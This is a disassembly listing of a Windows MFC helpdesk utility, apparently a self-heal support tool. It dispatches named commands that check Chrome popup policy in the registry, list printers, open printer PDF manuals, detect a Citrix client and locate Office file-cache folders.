call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x20f0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, str.Internet_Explorer
call fcn.14009c0d0
test al, al
je 0x1400ab335
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x710]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [0x14016fee0]
lea rcx, [rsp + 0xd60]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [rsp + 0xd60]
lea rcx, [rsp + reloc.mfc140u.dll_CDockablePaneAdapter::LoadState]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rdx, [rsp + 0x710]
mov rcx, rax
call fcn.1400ee8a0
mov dx, 1
lea rcx, [rsp + 0x710]
call fcn.14009c080
test al, al
sete sil
lea rcx, [rsp + 0xd60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x710]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, [rsp + 0x50]
lea rcx, str.chrome
call fcn.14009c0d0
test al, al
je 0x14009cc6d
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREPoliciesGoogleChrome
lea rcx, [rsp + 0x2108]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
lea rax, [rsp + 0x2100]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesGoogleChrome
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r14d, r14d
mov dword [rsp + 0x264], r14d
mov dword [rsp + CRichEditCtrl::~CRichEditCtrl], 4
mov dword [rsp + 0x584], 0x3ff
lea rax, [rsp + 0x584]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x264]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x588]
xor r8d, r8d
lea rdx, str.DefaultPopupsSetting
mov rcx, qword [rsp + 0x2100]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400ab40c
cmp dword [rsp + 0x264], 1
jne 0x1400ab40c
mov sil, 1
lea rcx, [rsp + 0x2108]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor sil, sil
lea rcx, [rsp + 0x2108]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.telnetDialog
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab4ab
lea rax, [rsp + 0x2110]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x2110]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [0x14017007c]
lea rcx, [rsp + 0x2118]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8, rbx
mov dl, 1
mov rcx, rax
call fcn.140108b10
xor edx, edx
lea rcx, [rsp + 0x4070]
call fcn.1400d3c90
nop
lea rcx, [rsp + 0x4070]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
nop
lea rcx, [rsp + 0x4070]
call fcn.1400d3d30
jmp 0x14009cc6d
xor r8d, r8d
lea rdx, [0x140170080]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400ab5d4
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2120]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2120]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2128]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2128]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2130]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor edx, edx
lea rcx, [rsp + 0x43c0]
call fcn.1400062f0
nop
lea rcx, [rsp + 0x43c0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
sete sil
lea rcx, [rsp + 0x43c0]
call fcn.1400063d0
jmp 0x1400acb92
lea rdx, str.showPrinterdialogbox
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400abb32
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2138]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2138]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2140]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2140]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab701
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2148]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2148]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.140042c70
test al, al
je 0x1400ab74b
lea rax, [rsp + 0x2150]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2150]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor r8d, r8d
lea rdx, str.servercsvfile
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab7cc
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2158]
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2158]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor edx, edx
lea rcx, [rsp + 0x95f0]
call fcn.1400be970
nop
lea rdx, [0x1401700f8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
movzx ecx, byte [rsp + 0xd608]
mov edi, 1
test eax, eax
cmove ecx, edi
mov byte [rsp + 0xd608], cl
xor r8d, r8d
lea rdx, str.servercsvfile
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab891
lea rax, [rsp + 0x2160]
mov qword [rsp + 0x58], rax
lea rdx, str..csv
lea rcx, [rsp + 0xd68]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xd68]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x2160]
call fcn.140006490
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
nop
lea rcx, [rsp + 0xd68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov word [rsp + 0xd608], 0x101
lea rcx, [rsp + 0x95f0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rdi, rax
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3b8
lea rcx, [rsp + 0xd88]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.BInternal
lea rcx, [rsp + 0xd88]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aba66
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x2e0
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov edx, 0x5c
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov ebx, eax
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2168]
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2168]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2170]
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2170]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.__printer_here_
lea rcx, [rsp + 0xd78]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Please_wait_till_printer_is_listed_here._Can_you_see__
lea rcx, [rsp + 0xd70]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0xd70]
lea rcx, [rsp + 0x2180]
call fcn.140006490
nop
lea r8, [rsp + 0xd78]
mov rdx, rax
lea rcx, [rsp + 0x2178]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2178]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2180]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x140]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.sTemp.csv
lea rcx, [rsp + 0xd80]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x2190]
call fcn.1400fd610
nop
lea r8, [rsp + 0xd80]
mov rdx, rax
lea rcx, [rsp + 0x2188]
call fcn.140006490
mov rcx, rax
call fcn.1400fbb40
movzx ebx, al
lea rcx, [rsp + 0x2190]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test bl, bl
je 0x1400abafc
lea rcx, [rsp + 0x2198]
call fcn.1400fd610
nop
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
nop
lea rcx, [rsp + 0x2198]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test edi, edi
sete sil
lea rcx, [rsp + 0xd88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x95f0]
call fcn.1400bebf0
nop
lea rcx, [rsp + 0x190]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.IsWizardPrinter
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400abb97
call sub.mfc140u.dll_AfxFieldText
mov rcx, qword [rax + 8]
mov rdx, qword [rcx + 0x300]
add rdx, 0x90
lea rcx, [rsp + 0xd90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [0x140170170]
lea rcx, [rsp + 0xd90]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
sete sil
lea rcx, [rsp + 0xd90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.printerdetrmination
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400abcae
call sub.mfc140u.dll_AfxFieldText
mov rcx, qword [rax + 8]
mov rdx, qword [rcx + 0x300]
add rdx, 0x38
lea rcx, [rsp + 0x418]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x2b0]
call fcn.1400fe460
nop
xor r8d, r8d
lea rdx, str.Canon_imageRUNNER_IR_3225
lea rcx, [rsp + 0x418]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400abc0a
lea rdx, str.AnakageFilesSelfHealSolutionsiassistZee137Canon_imageRUNNER_IR_3225.pdf
jmp 0x1400abc50
xor r8d, r8d
lea rdx, str.Cannon_Imagerunner_2525
lea rcx, [rsp + 0x418]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400abc2f
lea rdx, str.AnakageFilesSelfHealSolutionsiassistZee137Cannon_Imagerunner_2525.pdf
jmp 0x1400abc50
mov edx, 1
xor r8d, r8d
lea rcx, [rsp + 0x418]
call qword [sym.imp.mfc140u.dll_CPaneFrameWnd::EnterDragMode]
test eax, eax
je 0x1400abc5e
lea rdx, str.AnakageFilesSelfHealSolutionsiassistZee137Leaser_jet_Pro_MFP_M128fn.pdf
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r8, rax
mov dword [rsp + 0x28], 5
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x418]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.ShowPrinterDialogBoxforsony
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400abdec
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x21a0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x21a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x21a8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x21a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.140042c70
test al, al
je 0x1400abdb7
lea rax, [rsp + 0x21b0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x21b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor edx, edx
lea rcx, [rsp + 0x4c00]
call fcn.140088570
nop
lea rcx, [rsp + 0x4c00]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
sete sil
lea rcx, [rsp + 0x4c00]
call fcn.140088640
jmp 0x1400acb92
lea rdx, str.isCitrixInstalled
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400abe91
lea rdx, str.C:Program_Files__x86_CitrixICA_ClientSelfServicePluginSelfService.exe
lea rcx, [rsp + 0x548]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x548]
lea rcx, [rsp + 0x21b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
jne 0x1400abe7b
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x548]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x548]
lea rcx, [rsp + 0x21c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
test al, al
setne sil
jmp 0x1400abe7e
mov sil, 1
lea rcx, [rsp + 0x548]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.deleteofficecachefolder
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac2e8
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xde8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xde0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xdd8]
call fcn.140101620
nop
lea r8, [rsp + 0xde0]
lea rdx, [rsp + 0xde8]
lea rcx, [rsp + 0x1d0]
call fcn.1400f1ac0
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x21c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x2210]
call fcn.1400fd630
nop
xor r8d, r8d
lea rdx, str.16.0
lea rcx, [rsp + 0xdd8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac00b
lea rdx, str.AppDataLocalMicrosoftOffice16.0OfficeFileCache
lea rcx, [rsp + 0xda0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0xd98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0xd98]
lea rcx, [rsp + 0x21d8]
call fcn.140006490
nop
lea r8, [rsp + 0xda0]
mov rdx, rax
lea rcx, [rsp + reloc.mfc140u.dll_CSmartDockingStandaloneGuide::m_nLeftOffsetX]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CSmartDockingStandaloneGuide::m_nLeftOffsetX]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x21d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xda0]
jmp 0x1400ac273
xor r8d, r8d
lea rdx, str.15.0
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac0da
lea rdx, str.AppDataLocalMicrosoftOffice15.0OfficeFileCache
lea rcx, [rsp + 0xdb0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0xda8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0xda8]
lea rcx, [rsp + 0x21e8]
call fcn.140006490
nop
lea r8, [rsp + 0xdb0]
mov rdx, rax
lea rcx, [rsp + 0x21e0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x21e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x21e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xda8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdb0]
jmp 0x1400ac273
xor r8d, r8d
lea rdx, str.14.0
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac1a9
lea rdx, str.AppDataLocalMicrosoftOffice14.0OfficeFileCache
lea rcx, [rsp + 0xdc0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0xdb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0xdb8]
lea rcx, [rsp + 0x21f8]
call fcn.140006490
nop
lea r8, [rsp + 0xdc0]
mov rdx, rax
lea rcx, [rsp + 0x21f0]
call fcn.140006490
nop
mov rdx, rax
